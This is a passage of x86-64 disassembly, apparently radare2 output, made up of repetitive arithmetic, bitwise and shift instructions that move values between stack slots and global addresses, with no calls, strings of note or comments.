mov rcx, qword [rsp + 0xa9d0]
mov qword [rsp + 0xc400], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xafd0]
mov byte [rcx], al
lea rax, [rsp + 0xf10]
mov qword [0x14019dcf0], rax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov dword [rsp + 0x49f4], eax
mov eax, dword [rsp + 0x457c]
mov ecx, dword [rsp + 0x4660]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb378]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov dword [rsp + 0x49f8], eax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf04], ax
lea rax, [rsp + 0x119]
mov qword [rsp + 0xc408], rax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [rsp + 0xbb70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4940], eax
lea rax, [rsp + 0x4830]
mov qword [rsp + 0xc410], rax
mov rax, qword [rsp + 0xa7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [str.3K6LAu_], ax
movsx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0xb298]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [rsp + 0xae18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
add eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xb828]
movzx eax, word [rax]
mov word [rsp + 0x1220], ax
mov eax, dword [rsp + 0x46a0]
mov ecx, dword [rsp + 0x42dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
mov eax, dword [rax]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xaf30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4728]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
lea rax, [0x14019bf18]
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xab18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
shl eax, cl
mov rcx, qword [rsp + 0xc218]
mov word [rcx], ax
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb678]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14019d9c8]
mov byte [rcx], al
mov eax, dword [0x14019db28]
mov dword [rsp + 0x4a00], eax
mov eax, dword [rsp + 0x445c]
mov rcx, qword [rsp + 0xbc08]
mov qword [rsp + 0xc420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc420]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc1e8]
mov dword [rcx], eax
lea rax, [rsp + 0x4628]
mov qword [rsp + 0xc428], rax
mov rax, qword [rsp + 0xae00]
mov ecx, dword [rsp + 0x4698]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc1a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb5e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab90]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf3c], ax
lea rax, [rsp + 0x162]
mov qword [rsp + 0xc430], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x1b0]
sub eax, ecx
mov rcx, qword [rsp + 0xad60]
mov byte [rcx], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xc438], rax
mov rax, qword [rsp + 0xc220]
mov ecx, dword [rsp + 0x47a0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c038], eax
mov rax, qword [0x14019dcb8]
mov ecx, dword [rsp + 0x4848]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x48a4], eax
mov rax, qword [rsp + 0xc318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x229], al
lea rax, [rsp + 0x1204]
mov qword [rsp + 0xc440], rax
mov eax, dword [rsp + 0x3460]
mov ecx, dword [0x14019bf40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf38]
mov dword [rcx], eax
lea rax, [rsp + 0x4358]
mov qword [rsp + 0xc448], rax
mov rax, qword [rsp + 0xb5f8]
mov rcx, qword [rsp + 0xbb50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
mov rax, qword [0x14019da40]
mov ecx, dword [rsp + 0x4218]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa6c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0xc450], rax
movzx eax, word [rsp + 0x11bc]
mov word [0x14019dcf8], ax
mov rax, qword [rsp + 0xaf08]
mov rcx, qword [rsp + 0xab08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4844], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xc458], rax
mov eax, dword [rsp + 0x4434]
movzx ecx, al
mov eax, dword [rsp + 0x497c]
sar eax, cl
mov rcx, qword [rsp + 0xb4f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4478]
mov ecx, dword [0x14019bfcc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x493c], eax
lea rax, [rsp + 0x42fc]
mov qword [rsp + 0xc460], rax
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf74], ax
movzx eax, byte [0x14019bf1e]
mov byte [rsp + 0x22d], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb290]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc0f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc450]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov byte [0x14019d797], al
mov rax, qword [rsp + 0xb7d0]
mov ecx, dword [rsp + 0x44ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3868], eax
mov rax, qword [rsp + 0xc220]
mov ecx, dword [rsp + 0x48d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4668], eax
movzx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0xb100]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xadf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4480], eax
lea rax, [0x14019bef4]
mov qword [rsp + 0xc470], rax
mov rax, qword [rsp + 0xb188]
mov ecx, dword [rsp + 0x4714]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x480c], eax
mov rax, qword [rsp + 0xb728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [0x14019d8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c03c], ax
movzx eax, byte [rsp + 0x1c2]
mov byte [rsp + 0x22e], al
mov eax, dword [rsp + 0x48c8]
mov ecx, dword [rsp + 0x4648]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc260]
mov dword [rcx], eax
lea rax, [0x14019c034]
mov qword [rsp + 0xc478], rax
movsx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c0], ax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
shl eax, cl
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
lea rax, [0x14019bef3]
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xc110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1060]
xor eax, ecx
mov word [rsp + 0xaa0], ax
lea rax, [rsp + 0x4128]
mov qword [rsp + 0xc488], rax
mov rax, qword [0x14019dcc8]
mov ecx, dword [rsp + 0x4354]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4248]
movzx ecx, al
mov eax, dword [rsp + 0x489c]
sar eax, cl
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4274]
mov dword [rsp + 0x4a04], eax
mov eax, dword [rsp + 0x4150]
mov ecx, dword [rsp + 0x4490]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbef0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x1e8]
add eax, ecx
mov byte [rsp + 0x1e1], al
movzx eax, word [rsp + 0xf10]
mov word [rsp + 0x1224], ax
mov rax, qword [rsp + 0xac80]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb140]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8c8]
mov eax, dword [rax]
mov dword [rsp + 0x4a08], eax
mov eax, dword [rsp + 0x38a8]
mov ecx, dword [rsp + 0x494c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4304], eax
lea rax, [0x14019db58]
mov qword [0x14019dd00], rax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x1cd]
sub eax, ecx
mov byte [rsp + 0x1e2], al
movzx eax, word [rsp + 0xf54]
mov word [rsp + 0x1228], ax
mov rax, qword [rsp + 0xb558]
movsx eax, word [rax]
mov rcx, qword [0x14019d898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf9c], ax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xc490], rax
mov rax, qword [rsp + 0xb680]
mov ecx, dword [rsp + 0x476c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xb0c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47a4], eax
lea rax, [rsp + 0xee8]
mov qword [rsp + 0xc498], rax
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1af]
sub eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [0x14019dba8]
mov ecx, dword [rsp + 0x419c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d9b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4330]
mov dword [rsp + 0x4a0c], eax
mov eax, dword [rsp + 0x4584]
mov ecx, dword [rsp + 0x49d8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0xbca8]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x487c], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0xc4a0], rax
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf14]
sar eax, cl
mov word [rsp + 0x101c], ax
lea rax, [rsp + 0x4954]
mov qword [rsp + 0xc4a8], rax
mov eax, dword [rsp + 0x4264]
movzx ecx, al
mov eax, dword [rsp + 0x44ac]
shl eax, cl
mov rcx, qword [rsp + 0xbc88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x477c]
mov dword [rsp + 0x4a10], eax
mov rax, qword [rsp + 0xaf18]
mov ecx, dword [rsp + 0x4260]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bff8], eax
mov rax, qword [rsp + 0xaaf8]
mov ecx, dword [rsp + 0x4354]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0xc3f0]
movsx eax, word [rax]
movsx ecx, word [0x14019db80]
sub eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e5]
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf94]
sub eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov word [rcx], ax
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0xc4b0], rax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x4898]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xbc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
lea rax, [rsp + 0x1d6]
mov qword [rsp + 0xc4b8], rax
lea rax, [0x14019d9f0]
mov qword [0x14019dd08], rax
mov rax, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0xb580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc310]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb820]
mov ecx, dword [rsp + 0x456c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3de0], eax
mov rax, qword [rsp + 0xb688]
mov ecx, dword [rsp + 0x440c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4944], eax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46c8]
shr eax, cl
mov dword [rsp + 0x3f5c], eax
movzx eax, byte [0x14019bf27]
mov byte [rsp + 0x230], al
movzx eax, word [rsp + 0xef4]
movzx ecx, word [rsp + 0xfd0]
xor eax, ecx
mov word [rsp + 0xae4], ax
mov eax, dword [rsp + 0x47a4]
mov dword [rsp + 0x4a14], eax
mov rax, qword [rsp + 0xb8d0]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
lea rax, [rsp + 0x1c5]
mov qword [0x14019dd10], rax
lea rax, [rsp + 0x119c]
mov qword [rsp + 0xc4c0], rax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xb700]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rax, qword [0x14019db68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0xfa4], ax
mov eax, dword [rsp + 0x42a4]
mov dword [rsp + 0x4a18], eax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x495c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4898], eax
mov eax, dword [rsp + 0x4798]
mov dword [rsp + 0x4a1c], eax
mov eax, dword [rsp + 0x44bc]
mov ecx, dword [rsp + 0x4884]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6c8]
mov rcx, qword [0x14019dcc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41e4], eax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0xc0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbac8]
mov rcx, qword [rsp + 0xc310]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44b8], eax
lea rax, [rsp + 0x4548]
mov qword [rsp + 0xc4d0], rax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x44d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4598], eax
mov rax, qword [rsp + 0xc058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4828], eax
mov rax, qword [rsp + 0xbf68]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xac08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1050], ax
lea rax, str.3K6LAu_
mov qword [rsp + 0xc4d8], rax
movsx eax, byte [rsp + 0x192]
movsx ecx, byte [rsp + 0x1a8]
and eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb190]
mov ecx, dword [rsp + 0x4420]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019dc50], eax
mov eax, dword [rsp + 0x44d8]
movzx ecx, al
mov eax, dword [0x14019dbb8]
sar eax, cl
mov rcx, qword [rsp + 0xa698]
mov dword [rcx], eax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc4e0], rax
movzx eax, byte [rsp + 0x202]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov byte [rsp + 0x226], al
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xc4e8], rax
mov rax, qword [rsp + 0xae40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42c0]
shl eax, cl
mov rcx, qword [rsp + 0xb9f8]
mov dword [rcx], eax
lea rax, [rsp + 0x481c]
mov qword [rsp + 0xc4f0], rax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4408]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d1c], eax
movzx eax, byte [rsp + 0x18e]
movzx ecx, byte [rsp + 0x175]
sub eax, ecx
mov byte [rsp + 0x1d2], al
lea rax, [rsp + 0x103c]
mov qword [0x14019dd18], rax
mov eax, dword [rsp + 0x4658]
mov dword [rsp + 0x4a20], eax
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [rsp + 0xafe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb3d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe70]
mov eax, dword [rax]
mov dword [rsp + 0x4a24], eax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x4470]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4684], eax
mov eax, dword [rsp + 0x426c]
mov ecx, dword [rsp + 0x441c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd48]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x115c]
movsx ecx, word [0x14019bfdc]
add eax, ecx
mov word [rsp + 0xb74], ax
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0xc4f8], rax
movzx eax, word [rsp + 0x1118]
movzx ecx, word [rsp + 0x1208]
sub eax, ecx
mov word [0x14019d958], ax
mov rax, qword [rsp + 0xbc18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0xb9f8]
mov rcx, qword [rsp + 0xbeb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4364], eax
mov rax, qword [rsp + 0xbfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc4], ax
mov rax, qword [0x14019da10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16a], al
lea rax, [rsp + 0x4450]
mov qword [rsp + 0xc500], rax
mov rax, qword [rsp + 0xb458]
mov rcx, qword [0x14019dce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x430c]
sar eax, cl
mov dword [rsp + 0x498c], eax
lea rax, [rsp + 0x47d0]
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bf82], al
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0xabe0]
mov eax, dword [rax]
mov dword [rsp + 0x4a28], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4634]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3edc], eax
movzx eax, byte [rsp + 0x1e5]
mov byte [rsp + 0x233], al
movsx eax, word [rsp + 0xfa0]
mov rcx, qword [rsp + 0xc1f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb6f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x11f0]
mov word [rsp + 0x122c], ax
mov eax, dword [rsp + 0x49fc]
mov ecx, dword [rsp + 0x4514]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47a8], eax
lea rax, [0x14019d948]
mov qword [0x14019dd20], rax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xc510], rax
mov eax, dword [rsp + 0x4504]
mov ecx, dword [rsp + 0x4458]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb9f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc340]
mov rcx, qword [0x14019dcc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbf08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2d0]
movzx eax, word [rax]
mov word [rsp + 0x1230], ax
movzx eax, byte [rsp + 0x189]
movzx ecx, byte [rsp + 0x205]
sub eax, ecx
mov rcx, qword [rsp + 0xc250]
mov byte [rcx], al
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0xc518], rax
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0xbf90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4460], eax
mov eax, dword [rsp + 0x4444]
mov ecx, dword [rsp + 0x469c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0xa948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4908]
sar eax, cl
mov rcx, qword [0x14019db40]
mov dword [rcx], eax
lea rax, [rsp + 0x1a2]
mov qword [rsp + 0xc520], rax
mov rax, qword [rsp + 0xbc00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf34]
or eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x1234], ax
movsx eax, byte [rsp + 0x1eb]
movsx ecx, byte [rsp + 0x1df]
xor eax, ecx
mov rcx, qword [rsp + 0xa8b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3348]
mov dword [rsp + 0x4a2c], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41b8]
shl eax, cl
mov dword [rsp + 0x3ef8], eax
mov rax, qword [rsp + 0xaf20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1208], ax
lea rax, [rsp + 0x22e]
mov qword [rsp + 0xc528], rax
mov rax, qword [rsp + 0xb250]
mov ecx, dword [rsp + 0x4058]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019dbd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0xb248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49b8], eax
mov eax, dword [rsp + 0x440c]
mov dword [rsp + 0x4a30], eax
mov rax, qword [rsp + 0xa870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4678]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0xc250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d8], al
lea rax, [rsp + 0x118c]
mov qword [rsp + 0xc530], rax
mov rax, qword [rsp + 0xc028]
mov ecx, dword [rsp + 0x3c48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4554], eax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov dword [rsp + 0x4a34], eax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3acc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4590], eax
lea rax, [rsp + 0x4984]
mov qword [0x14019dd28], rax
mov rax, qword [rsp + 0xc170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4768]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov dword [rcx], eax
lea rax, [rsp + 0x11c4]
mov qword [rsp + 0xc538], rax
movsx eax, byte [rsp + 0x166]
mov rcx, qword [0x14019dcd0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c5], al
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1124], ax
mov rax, qword [rsp + 0xc3f8]
mov ecx, dword [rsp + 0x42a4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov dword [rsp + 0x4a38], eax
movzx eax, byte [rsp + 0x1de]
movzx ecx, byte [rsp + 0x19d]
xor eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [0x14019bf00]
mov qword [0x14019dd30], rax
mov eax, dword [rsp + 0x476c]
mov dword [rsp + 0x4a3c], eax
mov rax, qword [rsp + 0xb790]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4874]
shl eax, cl
mov dword [rsp + 0x429c], eax
mov rax, qword [0x14019da98]
mov eax, dword [rax]
mov dword [rsp + 0x4a40], eax
mov rax, qword [rsp + 0xaf60]
mov rcx, qword [rsp + 0xabb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45f0], eax
movzx eax, byte [rsp + 0x20c]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
movzx eax, word [0x14019bf6c]
mov word [rsp + 0x1238], ax
mov eax, dword [rsp + 0x4584]
mov ecx, dword [rsp + 0x3b8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0xb240]
mov eax, dword [rax]
mov dword [rsp + 0x4a44], eax
movsx eax, word [rsp + 0xa94]
mov rcx, qword [rsp + 0xa658]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d868]
mov word [rcx], ax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e5]
sub eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x1d1]
sub eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [0x14019c024]
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xbec8]
mov ecx, dword [rsp + 0x47cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xae40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov dword [rsp + 0x4a48], eax
mov rax, qword [0x14019d960]
mov rcx, qword [rsp + 0xb630]
mov ecx, dword [rcx]
